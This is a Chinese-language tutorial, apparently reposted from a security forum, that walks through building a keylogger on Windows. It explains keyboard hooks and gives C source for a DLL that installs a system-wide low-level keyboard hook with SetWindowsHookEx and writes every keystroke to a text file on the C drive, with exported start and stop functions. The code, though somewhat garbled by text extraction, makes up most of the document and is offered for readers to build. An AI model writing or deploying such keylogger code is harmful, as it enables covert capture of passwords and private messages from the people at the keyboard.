《打造自己的键盘记录器.doc》由会员分享,可在线阅读,更多相关《打造自己的键盘记录器.doc(7页珍藏版)》请在三一办公上搜索。
1、打造自己的键盘记录器作者:zaroty偶破博:说起键盘记录,想必很多朋友都用过网上流传的一些键盘记录软件吧,但是有没有想过自己写一个呢?也许你会想:会不会很复杂啊?我可以很负责的告诉你,写键盘记录是很简单的。你所需要的仅仅是懂得一些C语言的DLL编写,剩下的就是仔细的研究下MSDN上面的函数和一些耐心啦。下面就让我这小菜带大家来写属于自己的键盘记录器吧。说道键盘记录,免不掉要说一下Windows的HOOK函数。通过搜索引擎,我们会得到好多关于hook的定义,这里就用比较通俗易懂的话来说下什么是hook。Hook可以说就是一个间谍,假如你想要给你远在马来西亚的女朋友写一封信,你可以直接把写好的信
2、投到邮局,然后由邮递员送到你女朋友手里。但是当hook这个阴险的间谍出现时,事情就完全发生了变化。Hook会赶在邮递员把你的信送出去之前进行一些你并不想要的操作,这样一来,你的信可能被修改、复制,甚至直接销毁。那么按键消息也就像你的那封信一样,当在系统中安装了hook之后,就可以截取所有的键盘消息,从而对这些消息进行操作,还可以决定是否继续将这个消息传送到另外一个正在等候的程序。通过上面简单的比喻,我想大家应该对hook有了一个简单的认识,下面我们来说下hook的分类以及一些具体的使用。Hook可以分为下面几种,不同类型的钩子有着不同的作用: WH_CALLWNDPROC WH_CALLWND
3、PROCRET WH_CBT WH_DEBUG WH_KEYBOARD_LL WH_MOUSE WH_MOUSE_LL WH_MSGFILTER WH_FOREGROUNDIDLE WH_GETMESSAGE WH_JOURNALPLAYBACK WH_JOURNALRECORD WH_KEYBOARD WH_SHELL WH_SYSMSGFILTER 这么多的钩子类型,我们在这一不去进行一一的解释,仅仅拿出我们需要的两个来说一下,其他的大家可以参阅MSDN上的SetWindowsHookEx函数的定义。这里与我们键盘记录有关系的两个钩子类型是:WH_KEYBOARD和WH_KEYBOARD_
4、LL,这两个都是键盘钩子,他们有什么区别呢?MSDN上面说的是WH_KEYBOARD会在应用程序调用GetMessage 或者PeekMessage函数并且有键盘消息(按下或者释放)的时候会调用相应的函数进行处理,WH_KEYBOARD_LL这个类型是只要有键盘输入事件的发生,它都会将键盘消息传给相应函数,而在我自己试验的时候发现WH_KEYBOARD类型的钩子只记录本程序的按键消息,对发送到其他程序的按键消息不予以响应。所以,下面我们就用WH_KEYBOARD_LL这个类型的底层键盘钩子,来记录计算机上所有的键盘输入。下面我们看一下钩子使用:首先我们要定义一个钩子的回调函数,这样当相应的系统
5、消息传送给钩子的时候就会由这个回调函数进行处理。回调函数书写必须按照下面的语法:LRESULT CALLBACK HookProc( int nCode, WPARAM wParam, LPARAM lParam);HookProc是你自己定义的名字。nCode参数是Hook代码,Hook子程使用这个参数来确定任务。这个参数的值依赖于Hook类型,每一种Hook都有自己的Hook代码特征字符集。wParam和lParam参数的值依赖于Hook代码,但是它们的典型值是包含了关于发送或者接收消息的信息。我们这里用到的是WH_KEYBOARD_LL对应的回调函数LowLevelKeyboardPro
6、c,他的定义如下:LRESULT CALLBACK LowLevelKeyboardProc(int nCode, / hook codeWPARAM wParam, / message identifierLPARAM lParam / message data);这里的wParam指的是键盘消息的标识,它的值可以是WM_KEYDOWN, WM_KEYUP, WM_SYSKEYDOWN, 或者WM_SYSKEYUP.而lParam则指向一个KBDLLHOOKSTRUCT结构体,下面是KBDLLHOOKSTRUCT结构体的定义:typedef struct tagKBDLLHOOKSTRUCT
7、 DWORD vkCode;/virtual-key DWORD scanCode; DWORD flags; DWORD time; ULONG_PTR dwExtraInfo; KBDLLHOOKSTRUCT, *PKBDLLHOOKSTRUCT;知道了上面的这些,我们就可以开始写我们的回调函数了:LRESULT CALLBACK LowLevelKeyboardProc(int nCode,WPARAM wParam,LPARAM lParam) KBDLLHOOKSTRUCT* pStruct = (KBDLLHOOKSTRUCT*)lParam; LPCSTR log=GetKeyN
8、ame(pStruct-vkCode); if (wParam=WM_KEYDOWN) FILE *fl=fopen(C:zaroty.TXT,a+); fprintf(fl,%s %s,log, ); fclose(fl); return CallNextHookEx( CuhHook, nCode, wParam, lParam );上面这段代码的意思就是当调用回调函数时,将虚拟码通过GetKeyName函数(后面会定义)转换为我们可以看懂的内容,然后当接收到键盘按下(WM_KEYDOWN)的消息时,就打开C:zaroty.TXT并将转换来的按键信息写入其中。写入完毕之后为了保证这个按键消
9、息可以继续传递下去,调用CallNextHookEx函数将其传入消息队列。下面是CallNextHookEx函数的定义:LRESULT CallNextHookEx(HHOOK hhk, / 当前钩子的句柄,当我们安装钩子的时候会得到这个句柄。int nCode, / hook code passed to hook procedureWPARAM wParam, / value passed to hook procedureLPARAM lParam / value passed to hook procedure);这样我们的回调函数就写完了,下面要做的就是安装钩子,让我们的回调函数起到
10、作用。这时我们就要用到了SetWindowsHookEx函数,它的原型为:HHOOK SetWindowsHookEx(int idHook, / 钩子类型,我们这里是WH_KEYBOARD_LLHOOKPROC lpfn, / 钩子的回调函数,即上面的LowLevelKeyboardProcHINSTANCE hMod, / 指向调用钩子的程序的句柄,后面会讲到。DWORD dwThreadId / thread identifier);按照上面的结构来安装我们自己的钩子DLLEXPORT BOOL StartHook() CuhHook=SetWindowsHookEx(WH_KEYBOA
11、RD_LL,LowLevelKeyboardProc,g_hModule,0); if (CuhHook!=NULL) return 1; else return 0; 下面是卸载钩子的函数:DLLEXPORT BOOL StopHook() if (UnhookWindowsHookEx(CuhHook) return 1; else return 0; 因为我们要记录所有的键盘消息,所以需要的是一个系统全局钩子,那么我们就要将所需要的钩子函数写到一个外部的DLL里面,然后由其他的应用程序调用DLL内的一些函数来实现(为什么要这么麻烦?我也不知道,微软规定的 :-) )。还不懂得DLL编写的
12、朋友可以去参看一下这两篇转载的文章:下面我们开始编写DLL首先,打开VC6.0 新建一个空的Win32 Dynamic-Link Library工程,然后新建一个keyhook.c,写入如下代码:/keyhook.c/作用:DLL主文件/作者:zaroty/时间:2008年9月9日0:54:39/博客:/#define _WIN32_WINNT 0x0500 /底层钩子需要设置系统版本号#include #include #include keyhook.h#include vKey.hHHOOK CuhHook=NULL;HANDLE g_hModule;BOOL APIENTRY DllM
13、ain(HANDLE hModule, DWORD dwReason, void* lpReserved) switch(dwReason) case DLL_PROCESS_ATTACH: g_hModule = (HINSTANCE)hModule; break; case DLL_PROCESS_DETACH: g_hModule=NULL; break; return TRUE; 上面的内容包含了所必需的头文件和一个DllMain函数,在DllMain中我们将调用的程序的句柄保存为g_hModule,以方便SetWindowsHookEx函数使用。然后我们把上面的回调函数以及安装钩子和
14、卸载钩子函数的代码都粘贴进去,我们的.文件就写到这里了。下面我们添加一个头文件,声明我们需要导出的函数,方便其他程序的隐式调用。/keyhook.h/作用:DLL头文件,声明导出的函数/作者:zaroty/时间:2008年9月9日0:54:39/博客:/#define DLLEXPORT _declspec(dllexport)DLLEXPORT BOOL StartHook();DLLEXPORT BOOL StopHook();写到这里,我们的程序基本上就写完了,仔细想想,我们是不是忘掉了什么东西呢?对,是那个转换虚拟码为按键信息的函数GetKeyName。下面我们新建一个头文件,将这个函
15、数的内容写进去:struct VKeyInfo USHORT VKey; LPCSTR VKname;#define AddVKey(VK, VKName) (VK), (VKName)struct VKeyInfo vkey= AddVKey(VK_BACK, BACKSPACE), AddVKey(VK_TAB, TAB), AddVKey(VK_CLEAR, CLEAR), AddVKey(VK_RETURN, ENTER),/省略大量的代码,具体可以下载源码查看。 ;LPCSTR GetKeyName(USHORT VKey) int i; for(i = 0; isizeof(vkey); i+) if(VKey = vkey.VKey) return vkey.VKname; 到此为止,我们的DLL程序就编写完毕了,下面要做的仅仅是编写一个简单的程序,调用DLL里面的StartHook函数就可以了,不会调用的朋友可以看一下上面提到的DLL编写教程。本人菜鸟,没有上过几天学,文章写得比较乱,希望大家不要见怪。有什么疑问或者建议欢迎大家指出,谢谢!转载请注明出自暗组信息安全论坛